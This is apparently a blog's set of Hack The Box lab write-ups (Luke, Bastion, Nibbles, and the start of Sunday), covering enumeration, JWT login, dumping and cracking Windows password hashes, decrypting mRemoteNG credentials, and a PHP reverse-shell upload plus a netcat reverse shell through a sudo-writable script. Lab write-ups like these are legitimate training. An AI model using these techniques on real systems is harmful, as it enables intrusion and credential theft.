Hack The Box – Luke

Here we go again, this time we are looking at Luke. What do we know before we begin? Very little, apart from it’s a FreeBSD box on the IP

So let’s start the same way as always!

nmap -sC -sV -O -oA nmap/Luke

We get a few ports that show as open:

Nmap 7.70 scan initiated Sun Jun 23 14:22:36 2019 as: nmap -sC -sV -O -oA nmap/luke
Nmap scan report for
Host is up (0.087s latency).
Not shown: 995 closed ports
21/tcp open ftp vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 512 Apr 14 12:35 webapp
| ftp-syst:
| FTP server status:
| Connected to
| Logged in as ftp
| No session upload bandwidth limit
| No session download bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
|_End of status
22/tcp open ssh?
80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open http Ajenti http control panel
|_http-title: Ajenti
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 23 14:25:51 2019 -- 1 IP address (1 host up) scanned in 195.57 seconds


So we have 5 ports open, 3 of which are webservers and one which allows Anonymous FTP!

I know where I’m going to start! Let’s start by setting 3 dirbs running in the background while we investigate the FTP server.

dirb -w /usr/share/dirb/wordlists/common.txt > dirb/port80.txt

dirb -w /usr/share/dirb/wordlists/common.txt > dirb/port3000.txt

dirb -w /usr/share/dirb/wordlists/common.txt > dirb/port8000.txt

While they are running, let’s take a look at the FTP server. Nmap has already told us we can log in anonymously, so let’s give it a go

ftp 21

We get prompted for a password, entering anything gives us access.

We can see there is 1 folder called webapp. Within there is a file called for_Chihiro.txt

Let’s get that back to our box

get for_Chihiro.txt

We now have this on our box. Cat’ing the file shows it contains a message:

Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of 
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !


Now, what the fuck does that mean?! I’m guessing maybe we need to look at the source of each of the websites on each of the 3 webservers!

Shall we start with the old fashioned port 80.

Heading over to the website we get a very basic website, with some text and 3 links which take you to further down the page. From looking at the source we do know that there is a lot of javascript on the website.

Unfortunately I know absolutely nothing about javascript or how to exploit it. Let’s see if our dirb came back with any results for this webserver.

It came back with a few pages and directories








Management, LICENSE and index look quite interesting, lets have a look.

First up, management. We get a pop up!

If we can find some creds, I know where I’m coming back to.

LICENSE shows the MIT License, I think this is for the bootstrap JS stuff we saw earlier.

Index is the main page that we see, which I don’t think has much on.

In terms of folders, member is empty, css is just the display schemes, vendor has a list of all the javascript used:




It looks like the jQuery is v3.3.1, jQuery Easing is v1.4.1 and Bootstrap is v4.2.1.

We may come back to these for exploits or at least more googling and the version numbers are bound to be useful.

The final folder, is /js/ This just looks to contain the scrolling-nav, which the hotlinks use to scroll down the page.

As I have no idea what we could even do here, let’s go look at the other ports.

Port 3000 appears to just have some JSON on it

This looks a lot like what we found on Port 3000. We quickly ran away then but maybe another viewing of ippsecs video will give us a hint.

However, the dirb that I ran did find 3 directories:




Let’s go check them out.

Both Login and login give a JSON message, it’s the same on both and simply says:

"please auth"

Users has a slightly different answer:

success false
message  "Auth token is not supplied"

It’s not much better!

Let’s skip over these for now and head over to port 8000. Aha, slightly more interesting:

It’s a login prompt. So we have 3 areas that require auth:

Now, just to find some creds I guess!

The directory wordlist that I used was a different one to normal, so I’m going to try using dirbuster which isn’t my favourite to look at but gives good results with my normal wordlist:


Let’s see if there is anything extra we get.

We get an additional hit on port 80 which I’m not sure how we missed first time around:


This gives us some db information:
$dbHost = 'localhost'; $dbUsername = 'root'; $dbPassword = 'Zk6heYCyv6ZE9Xcg'; $db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);

So we have a username and password, potentially. Let’s go see if it works on the logins!

So trying that password with:




Unfortunately none of these worked with that password.

I have also gone back to basics and looked at the default password for Ajenti which is:


This also doesn’t work, but would indicate it could be where the root password goes.  Looking at searchsploit for Ajenti we have 1 hit:

It’s cross-site scripting. Not too sure how useful that will be here.

I think maybe we need to go back to the javascript on the main webserver and have a look at what we have.

The one thing that keeps bugging me is port 3000 and the message please auth or auth token is not supplied for users.

Maybe we can use the password as an auth token? Event getting a list of users at this point would be good.

Thinking about the list of users, there is the directory /users/ we tried that earlier and got a please auth message. What if we try some user names after that so /users/chihiro

We get:

Whereas if we try derry we get:

What this means, is we get a different result for a real user, therefore we can enumerate usernames.

So let’s put that request through burp and send it over to intruder. Dirb has a good name list which is available at /usr/share/wordlists/dirb/others/names.txt

So in Intruder, we set the position around derry

We load in the wordlist under Payload (Simple List) and add in a few others including derry, luke and admin. Then within the options we add under Grep Match

Hit start attack and let’s watch the results come pouring in! After we hit start attack we filter out any 404 errors!

I have just realised that doing a match isn’t the best, as what if there is a website that loads straight away, we won’t see if as it doesn’t match our expected outcome.

So re-running the test without that grep. Anything that doesn’t load will still come back as a 404 so we can filter those out.

While that was running, a colleague had mentioned trying curl (not sure if he knows something I don’t, has read something or is just also clutching at straws), so I looked at some curl commands to see if we could get any more clues.


{"success":false,"message":"Auth token is not supplied"}

Hmm ok, how about /login

"please auth"

So, let’s try and add authentication, we have a username and password

curl --user root:Zk6heYCyv6ZE9Xcg

Another “please auth”, so wrong user or password or syntax/format. Let’s try some other users.

curl --user admin:Zk6heYCyv6ZE9Xcg
curl --user Admin:Zk6heYCyv6ZE9Xcg
curl --user superadmin:Zk6heYCyv6ZE9Xcg
curl --user SuperAdmin:Zk6heYCyv6ZE9Xcg
curl --user administrator:Zk6heYCyv6ZE9Xcg
curl --user Administrator:Zk6heYCyv6ZE9Xcg
curl --user derry:Zk6heYCyv6ZE9Xcg
curl --user Derry:Zk6heYCyv6ZE9Xcg

All the exact same result:

I guess we wait for the Burp Intruder to finish and see if we have any other usernames we can try out.

After what can only be described as …..ages….. I remembered that intruder is very slow on burp community edition. However, we are enumerating directories, why don’t we go back to dirbuster for this!

So, running dirbuster, much quicker we get a list of users which exist:

That runs super quickly and we have another couple of usernames:




So, we can now try logging into each auth prompt with these 2 additional usernames. None of the 3 direct auth prompts work for either username with the password found from the config.php file.

Heading to /users/<name> still gives the “Auth token is not supplied”

This is, frustrating to say the least!

Doing some research and finding some pretty diagrams to explain JWTs it look slike we need to authenticate to /login with a username and password, then the server will create a JWT which we can then use the get to all the other subdirectories.

So the big question is how do we authenticate using /login which doesn’t have any sort of GUI. We will need to do this by putting the requests directly in a POST request, however we don’t know the field names for username and password, we don’t know which user to use or even if the password is correct.

That’s far too many variables for my liking!

With this new knowledge, I did some more googling on authenticating to express JS, I revisitied the idea of CURL that we did earlier and read through this article: https://medium.com/@evangow/server-authentication-basics-express-sessions-passport-and-curl-359b7456003d

This showed:

client $ curl -X POST  http://localhost:3000/login -c cookie-file.txt -H 'Content-Type: application/json' -d '{"email":"test@test.com", "password":"password"}'You were authenticated & logged in!

So, I knew that we didn’t have an e-mail, but maybe it was username, so I tried that. I figured at this stage, we needed this to be admin but I was ready to do a lot of manual trying through all the usernames if that didn’t work.

My final request was:

curl -X POST -c cookie-file.txt -H 'Content-Type: application/json' -d '{"username":"admin", "password":"Zk6heYCyv6ZE9Xcg"}'

This resulted in:

{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxODg2NDQzLCJleHAiOjE1NjE5NzI4NDN9.-I_yLS8xOvod3dCyGeKqdmUrClsfXW7ESf_GaZF540E"}

We now have a token!

Next step, how to use that!

Firstly, I was interested to see what the token was made up of, so I went over to calebb.net which decodes JWT tokens, the results showed:











So the username is admin, it has a code and an expiry date (I assume), it doesn’t really help us but it’s interesting to know what’s there.

Looking at a JWT for beginners page here: https://jwt.io/introduction/

It mentions:

“Whenever the user wants to access a protected route or resource, the user agent should send the JWT, typically in the Authorization header using the Bearer schema. The content of the header should look like the following:

Authorization: Bearer <token>"

Therefore, we are going to include that in Burp and see what we get.

We forward the request and get:

We get Dory’s username and password!

So, going through all the users we have found, we get a list of usernames and passwords.

Now that we have these, let’s head over to our login pages and see which works where.

First up, port 8000 for ajenti log in.

Unfortunately all 4 sets of creds still give us auth failure.

Let’s head over to port 80 /management and /login and see what we have,

Within management, the credentials for Derry worked and we get:

First up is config.json which has 1 very interesting line in it:

ajenti.plugins.munin.client.MuninClient "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}"

So we will check that out.

Config.php is the document we found earlier with the mysql creds.

Login.php takes us to the login page that we found earlier.

So let’s go take a look at port 8080/munin. Unexpectedly that doesn’t exist, if it did our port scan earlier would have caught it. Nothing works on the main login page either.

So somewhere, we have missed something.

Let’s look at our progress here. We found config.php on port 80, which gave us the creds to get the JWT token on port 3000. Then from there, we got the creds for Derry that let us get into management on port 80. From there it appears to be a deadend. I think we need to re-look at that, we must have missed something.

The full config.json might be where to go back to:

"users": {
"root": {
"configs": {
"ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}", 
"ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}", 
"ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}", 
"ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}", 
"ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}", 
"ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}", 
"ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}", 
"ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}", 
"ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}", 
"ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}", 
"ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}", 
"ajenti.users.UserManager": "{\"sync-provider\": \"\"}", 
"ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}", 
"ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}", 
"ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
"password": "KpMasng6S5EtTy9Z", 
"permissions": []
"language": "", 
"bind": {
"host": "", 
"port": 8000
"enable_feedback": true, 
"ssl": {
"enable": false, 
"certificate_path": ""
"authentication": true, 
"installation_id": 12354

So what I missed before, was the other password of KpMasng6S5EtTy9Z. This doesn’t appear to have a username attached with it, but maybe we can try some obvious ones, like root, admin etc.

Root did the trick! We are into the interface!

You may notice what I did straight away. There is a tool called “Terminal” let’s try that first!

It works! We have a terminal on the box, a very quick look around and boom, we have the user flag!

Amazing, we got the user flag!

Also what you might notice, is that cheeky whoami told me that we are root. It can’t be that easy can it?

Oh. It was that easy.

Well, that was Luke! I feel we learnt a lot about JWT creation. How to authenticate with it and bit of a hunt for creds and reminding ourselves that good enumeration is key!

There could definitely have been some priv esc, but I wonder if it’s because it’s FreeBSD and people aren’t too familiar with it? Anyway, a fun box and learnt a heap! Good times!

Hack The Box – Bastion

Let’s have a crack at Bastion. It’s been released for 2 days, so far the User is seen as “Easy” with root being “Easy”/”Not too Easy”

So things we know straight up. It’s a Windows box with the IP of

First thing first, lets run an nmap scan on it:

nmap -sC -sV -O -oA nmap/bastion

The results are in, we have 4 ports open:

  • 22 – SSH
  • 134 – MSRPC
  • 139 – netbois-ssn
  • 445 – microsoft-ds

The host scrips brings back some potentially interesting results:

Host script results: 
|_clock-skew: mean: -39m58s, deviation: 1h09m14s, median: 0s
| smb-os-discovery: 
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) 
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00 
| Workgroup: WORKGROUP\x00 
|_ System time: 2019-04-29T19:00:50+02:00 
| smb-security-mode: 
| account_used: guest 
| authentication_level: user 
| challenge_response: supported 
|_ message_signing: disabled (dangerous, but default) 
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled but not required 
| smb2-time: 
| date: 2019-04-29 18:00:49
|_ start_date: 2019-04-29 17:50:00

I’d say the ports 139/445 (SMB) are where we really need to look at first.

We have done this is on some previous boxes, but before we first digging. Let’s do a full port scan, there might be stuff hiding on high ports? Let’s run this in very verbose mode so any results come up straight away:

nmap -sC -p- -vvv -oA nmap/bastion-all-ports

We will also run an additional UDP scan to see if there is anything hiding there:

nmap -sU -O -oA nmap/Bastion-UDP

Well, I’m glad I did the full port scan, look at these results:

5985/tcp open wsman syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
49670/tcp open unknown syn-ack ttl 127

So, lets look closer at those ports.

nmap -sC -sV -O -p 5985,47001,49664,49665,49666,49667,49668,49669,49670 -oA nmap/Bastion-HighPorts

I probably didn’t need the -O as we already know the OS version from earlier, being Windows 2016 Standard.

The results are in:

5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC

2 ports with HTTPAPI on. I’m not entirely sure what they are. A quick google lets me know that:

SSDP is Simple Service Discovery Protocol which advertises and looks for network services. This controls communication for the Universal Plug and Play feature (uPnP).

This now rings a bell, was there not the printer and chromecast thing supporting pewdiepie. Looks pretty similar: https://www.bleepingcomputer.com/news/security/hacker-streaming-pewdiepie-videos-on-exposed-chromecast-devices/

So, this might well be our way in. A quick searchsploit shows a few vulnerabilities for UPnP:

So there are a few Buffer Overflows for Windows, but these are 98/XP/ME and we know that our target is running Windows Server 2016, so no dice there.

A quick check that there isn’t a webpage associated with the ports, reveals both get a 404 error, so that’s no good!

Right. The question is, what do we have and where do we go from here.

My first though, before the full port scan was looking at the SMB share to see if there is anything there. Let’s give that a go.

So let’s fire up smbclient and see what we can find, first let’s try and use an anonymous user to get the shares:

smbclient -L -U anonymous


We have success! We know the sharenames. Let’s see if we can connect into any of them. Our command for that is:

smbclient //$ -U anonymous

smbclient //$ -U anonymous

Both Permission Denied.

smbclient // -U anonymous

Hooray! We are logged into the backups folder as an anonymous user.

A quick look around, we have a note.txt and an nmap-test-file, a couple of directories, but these are empty.  There is also a .tmp file.

So we use the “get” command to bring those back to our machine.

get nmap-test-file

get note.txt

So these are now locally on our host. Stupidly, I did this while in the /tools/enum4linux directory, so that is where they saved. I found them using:

find note.txt . | grep note.txt

Moved them back into the right directory.

Looking at the note.txt file first:

Interesting, so they use a VPN and there is some sort of backup. There is the folder WindowsImageBackup, let’s grab that.

The other file is empty.

Let’s see what really is in here, entering the recurse in the smb window lets us list all files, going through folders.

So there are a whole bunch of .xml files. Let’s see if we can grab all of those. Because of dash in the PC name, I can’t seem to recursively download everything, so I’ll have to do it file by file.

The XML files look to be configs, probably for the backup software. The .vhd files are the actual backups on the file structure.

Now, I think this is where the note comes in. It states don’t transfer the entire back up locally as the VPN issue. This isn’t them using a VPN, this is a message to us, the HTB VPN can’t cope with that sort of traffic. As a check we give it a go and we get a timeout. Not unexpected!

So, we either need to host it somewhere (a webserver) or mount and read it on the host pc.

So, this is now the tricky part. We know what we need. Those backups. The question is how do we get them? We have high ports open, let’s go back to the fact that both port 5985 and 47001 are httpapi ports. This now seems sensible to be our exfil point!

At this point, I had a quick look at the forum and it appears mounting it via the SMBshare is a better method. So let’s explore that.

So there are 2 commands in Windows to mount a VHD.

Via CMD:

select vdisk file="\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd"

or Via Powershell:

Mount-VHD -Path "\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd"

Quite reasonably, neither of these work over smbclient. As we are using SMB shares, I might be able to mount them in windows? Let’s spin up a Windows 10 VM and see if that helps! (My host machine is Windows 10, but I really don’t want to connect into HTB on my host machine!)

Ok, a windows10 VM is spun up. VPN connected and look here, we have the SMB share:

So, using the powershell we learnt earlier. Let’s try this out!

Not a great start, this is due to hyper-v and that fact I’m on VMware.

Can we use the built in “mount” function? After a lot of back and forth, I found out you can’t if you map the drive (to z:\ for example). So I try without the UNC path \\\Backups\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351

Click Mount and….

Sigh! So that would probably work, if it wasn’t a heavily used platform!

So let’s go back to Linux. The first thing we need to work out, is how to mount the SMB share, so that we can navigate to it. After some googling I managed to find this blog: https://www.shellhacks.com/mount-remote-windows-partition-share-linux/ which helped me out.

Firstly, we created a folder for the share to be connected to on our Linux box:

mkdir Share

Also downloaded and installed the cifs toolset which allows for this connection:

apt-get install cifs-utils

The next part is running the command:

mount -t cifs // /home/Yekki/Documents/htb/Bastion/Share/ -o dom=DOMAIN,user=anonymous,pass=Hello

A quick look in the share and doesn’t this look familiar:

So we can now go through and the VHD files are there.

Now we just need to work out how to mount the VHD so we can also explore that.

There is a set of tools called libvhdi which I found in this video: https://www.youtube.com/watch?v=inxoqsH9TxI

Once the tools are installed, we can try the commands:

vhdimount 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd /home/Yekki/Documents/htb/Bastion/Mount/

The command worked. But the permissions on the mount are very odd:

If we sudo su up to root. We are able to go into the Mount file, and we see vhdi1 as a file. We can’t directly interact with this file yet, as it hasn’t been mounted on our system.

To be able to mount and use this file, we need to calculate the offset of the mount.

First we need tp look at the partition data of the file, using:

mmls -aB vhdi1

This gives us a result of:

So the units are in 512-byte sectors.

To do the calculation we need to obtain the bc package which is a arbitrary precision calculator language.

apt-get install bc

We can then use this which is the last digits in the Start column, so for our case it’s 128. Then also using the units which we saw earlier is in 512-byte sectors.

echo 128*512 | bc

This results in 65536. This is the offset level for where the data starts.

The follow command should mount the vhd file for us to be able to explore:

mount -o ro,noload,offset=65536 vhdi1 /home/Yekki/Documents/htb/Bastion/Mount/

After waiting for a verrrry long time….

We can see that the directory is now searchable!

Lets have a look around and see if we can find a user flag.

So if this is a backup, the flag should be in Users/L4mpje

Nope. Nothing in there.

Let’s go a grep on the entire Mount to see if there is anything there:

grep -iR user.txt .

No flag. There is another step to this!

So if we remember our nmap scan from earlier, port 22 is open. So I wonder if there is an SSH password we need to get.

Windows stores it’s NTLM hashes under something called SAM the Security Account Manager. This tends to be located in Windows/System32/config

Normally you can’t open or copy this file, as it is always being used by System. However as this is a backup, not a live system. We might get lucky. So let’s head over there:

cd /Windows/System32/config

Ah there is a SAM, SECURITY and SYSTEM file. We will need all of these. I copied these across to my host machine, that way if the box gets reset is doesn’t affect the next stages.

To get anything useful from these, we need to dump it out.

There is an excellent set of tools called impacket available from here: https://github.com/SecureAuthCorp/impacket

Within that set of tools they have secretsdump.py which is what we will use. Installing impacket is easy, clone to repository then when in the folder run:

pip install .

The python script is then under impacket/examples/secretsdump.py

Running the script with the 3 variables:

./secretsdump.py -sam /home/Yekki/Documents/htb/Bastion/SAM -security /home/Yekki/Documents/htb/Bastion/SECURITY -system /home/Yekki/Documents/htb/Bastion/SYSTEM local

Give us this result:

We have the hash. Let’s run this through hashcat which has a built in NTLM hash option.

Firstly, we take out the part of the hash that we need, which is after the 3rd colon. Starting with 2611 for the L4mpje user. This is due to the the format of the NTLM hash. We have:


User:relative identifier:    LM Hash:                                        NT Hash:

Hashcat requires just the NT hash. So we copy that into a new text file.

echo "26112010952d963c8dc4217daec986d9" > L4mpje-hash.txt

Looking at hashcat, NTLM hashes are hash mode 1000 (https://hashcat.net/wiki/doku.php?id=hashcat) We want to set the attack mode as 0 (straight) and output the file.

hashcat -m 1000 -a 0 -o password.txt L4mpje-hash.txt /usr/share/wordlists/rockyou.txt --force

We had to use the –force option as I’m doing this cracking in a VM rather than with dedicated graphics cards.

If we cat the output file we get:

There is the password. You will notice that Impacket also output the password, but I wanted to go through hashcat just to double check (and learn).

So now I guess we can use this to ssh into the box.

Success. Now, as this is the live box, we can go have another look at the User share and see if there is a flag this time.

There it is! Now just to remember how to read a file from cmd.


Now, let’s head onto root and see what we can do!

Having an initial look around the system, there are a couple of programs we can investigate. In Program Files:

We have PackageManagement which is a set of cmdlets from Windows. Seems unlikely to be our route in. The other is OpenSSH but this will be to allow our SSH session onto the box.

Heading over the Program Files (x86) we get:

I’m not sure what mRemoteNG is, but looks like it could be interesting. A quick google tells me that it’s a remote connections manager allowing for a range of different connections. A quick searchsploit brings up nothing but a google search brings back some results:

Yeah I think we are in the right place here! It looks like the “bug” was fixed in v1.76. Let’s see if we can find out the version installed. There is a changelog file, the latest entry is, v1.76.10.

So it looks like exploits aren’t the same way. Let’s see if there is password leakage anywhere.

Looking at the application, there is another config file stored in:


If we read the config file we get a whole heap of info. But what we really need is this part:

The protocol is RDP on port 3389. However port 3389 isn’t open as we found out on our nmap scan earlier, so that’s a no go.

This password also looks a lot like a hash. It’s not base64 as it has a “/” in it. A quick google of getting password from the mRemoteNG brings up a bunch of results. This was most useful: https://robszar.wordpress.com/2012/08/07/view-mremote-passwords-4/

We can create a External Tool within the program which does:

/k echo %password%

This will then decrypt and print out the password in plain text. After wondering how I could do this from just an ssh shell, I realised that it wasn’t really an option. So instead, lets download the program and see if we can get that config file out to our local Windows VM.

I went and downloaded and installed the program from the offical github: https://github.com/mRemoteNG/mRemoteNG

After installing the program, I went about exfilling the data. I tried to copy & paste from a type. However all the spacing was wrong and was just a terrible idea all round. It then took me a while to think of what to do. If this was linux, i’d do a SimpleHTTPServer, but no good. Then I remembered how I got the data out originally, the SMB share. Obviously! Once I realised, I felt like a right wally, anyway!

So first off I used copy:

copy confCons.xml C:\Backups

Then I went back and used smbclient

smbclient // -U anonymous

get confCons.xml

Then to leave as few spoliers as possible, I went back to my ssh sessions:

del C:\Backups\confCons.xml

Always try to tidy up after yourself, otherwise you are ruining it for other users! Especially as the SMB is at the start of the box!

On my VM I copy the file into the same place APPDATA/Roaming/mRemoteNG

Open up the software

Both users are there. We know from the config the DC uses administrator so this is the one we are interested in.

First though, we need to create the external tool. In MRemoteNG go to “Tools” -> “External Tools”

Click New and fill in the details:

Going back to our connections, lets try the L4mpje-PC user and see if that password matches the one we got earlier:

It does, brilliant. So we know the theory here works! Let’s get the admin password!

Lets try to ssh in with those creds. Success!

Heading over to Desktop, we see the root flag there!

And there is the root flag!

I really enjoyed this box, it used skills that I had but going through the process and writing it up really helped me embed that knowledge. Getting the user password was really interesting and totally real life which I enjoyed, I can see that being used on tests in the future.

The root was also good, nice to not rely on an exploit but dig deep and enumerate until you find each of the interesting parts!

HTB – Nibbles

Here we go, another box in prep for OSCP!

We are going to do Nibbles. I have previously got user on this box but I don’t remember how; I never managed to get root previously. So let’s have a go!

nmap -Pn -oA nmap/initial -vv

We have 2 ports:

  • 22 – SSH
  • 80 – HTTP

Let’s get a full nmap running and go check out the webserver.

sudo nmap -Pn -p- -oA nmap/full -vv

The webserver has a simple page, it just states “Hello World”. Looking at the page source though, we get something a bit more exciting!

Shall we go and check out nibbleblog!

There is a basic website.

If we go to /admin/ we get a directory listing:

Before we look through all of those, let’s do a searchsploit and see if we get anything.

There is an arbitrary file upload. We like those! Let’s take a look at the code!

searchsploit -x 38489

It does a whole bunch of stuff but does ask for the username and password. Let’s spin up msfconsole and see if we get anything.

Creds are needed, so this is out for the moment!

Let’s get a gobuster running and see what else we have in here.

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

We get some early hits! Including:

  • content
  • themes
  • admin
  • plugins
  • languages

Let’s bounce through these while gobuster continues to run.

The README gives away the version which is v4.0.3 released in 2014! I feel it’s going to be vulnerable to stuffs!

Having a look through the other folders there is some stuff.

Let’s run another gobuster to search for pages as well as directories:

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x .php,.html,.txt,.bak

We get some more hits! Including:

  • feed.php
  • sitemap.php
  • admin.php
  • index.php
  • install.php
  • update.php

Let’s go check some of those out!

Most are nothing interesting, but we find a goodun with admin.php

Login area!

Trying some defaults like admin/administrator with password; admin; nibble;Nibble;Nibbles;nibbles;nibbleblog;Nibbleblog

Eeek, half way through trying them:

That means trying any sort of bruteforcing is a waste of time!

I guess I gotta wait this out!

Enumeration is going to be the key here. Looking through all the files we have access to, to find the one we want!

Looking for a default username and password we don’t find much, looks like the user sets this on install!

This doesn’t help!

I’ve downloaded and grepped through all the files I can, without any luck.

Maybe it’s something simple. Other usernames? nibbleblog or nibble.

Let’s try those.

Urgh, blacklist protection is boring!

Let’s stick my list of usernames and passwords into Burp and see if we can slowly brute force this!

Changing the attack method to clusterbomb and upped the pause before retry to 15 seconds. Hopefully slow enough to keep going!

It was not. We kept getting blacklisted. So dull!

I think we need to prioritise what we try:

  • admin:nibbleblog
  • administrator:nibbleblog
  • admin:nibbles
  • administrator:nibbles
  • nibbleblog:nibbleblog
  • nibbleblog:password
  • admin:password
  • administrator:password

Let’s do these in that order, and see where we get to!

So we started and on the 3rd we got there!

The username was admin with the name of the box as the password.

That was convoluted and I remember it being a PITA the last time. I really thought both times it would be hidden in some javascript or something.

Never mind. We are now in!

If we remember earlier, we had a file upload available if we had creds!

So the exploit is in file upload under a image plugin. When we upload a file, it should appear here:

We just need to find the plugin and get uploading (ignoring any errors)

Finding the my image plugin in the plugins page and clicking it brings us to here:

Let’s get pentestmonkeys php reverse shell script and see if we can upload that!

We upload the file and get a whole heap of errors

Get a nc listener running on port 1234 (which we specified in the script)

and we visit the above URL.

We get a callback!

We upgrade to a bash shell using python

python -m 'import pty;pty.spawn("/bin/bash")'

Oooh, python isn’t installed. Let’s try with python3

It doesn’t work with python3, I thought it did.

Never mind, we can work with a restricted shell for the moment.

A quick search and we get the user flag! (That I previously got, so no huge air punches here!)

What you’ll also notice is there is an interesting file there. personal and a pesonal.zip

Let’s take a look at the directory first.

A couple of directories deep we get a script called monitor.sh. It contains:

bash -i

Running it brings back an error:

bash: cannot set terminal process group (1309): Inappropriate ioctl for device
bash: no job control in this shell

Doing it on my hostmachine, doesn’t do anything!

I recreated it on my kali machine and running it doesn’t do anything. Adding commands afterwards, doesn’t seem to do anything.


Let’s park that and go have a look at the zip file!

I used nc to move it across to my kali host.

nc -nvlp 9009 > personal.zip

nc 9009 < personal.zip

Unzipping the file, we then take a look at the script.

Interesting, it’s different, very different!

Let’s go through other main enumeration steps. First things first:

sudo -l



So we can sudo that file.

If we try that:

sudo /home/nibbler/personal/stuff/monitor.sh

So, we get a root shell and are able to read the root shell.

I’m a mix of all 4 emotions! I got a root shell and root flag, but slightly cross as I don’t think I should have been able to!

Now. I think someone else has been on this box and changed that monitor script.

Let’s do a reset of the box and see what those files contain after a fresh build!

The home directory has a zip file in it!

So we know we can do the sudo. A quick check confirms that’s true.

First we create the folder structure:

mkdir -p personal/stuff

This creates both directories at the same time.

Then create a file, I created mine in nano on my machine as vi is a vile thing!

What I’ve gone for it a reverse shell

nc 9009

Then copy that across using nc.

Set up a nc listener on port 9009 and run the script using sudo.

Didn’t work!

My next go would be to change the monitor script to be a single word.


This is the same theory as bash -i just less typing.

That time it worked! Excellent. Not sure why the nc command didn’t work but anyway. We got there!



HTB – Sunday

Wooo, here we go. Ready for another rollercoaster adventure on HTB from TjNull’s OSCP prep guide! 

It’s Sunday (it’s actually Thursday) so no-one is going to be confused!

Let’s go

sudo nmap -Pn -oA nmap/initial -vv

We have some abnormal ports open:

  • 79 – Finger
  • 111 – sunrpc

I think we need a more in depth nmap scan straight off the bat!

sudo nmap -sC -sV -O -p 79,111 -oA nmap/fuller -vv

We get some more detailed results out.

So this is a solaris box.

There is a built in linux command called finger which can give us some information.

finger -l root@

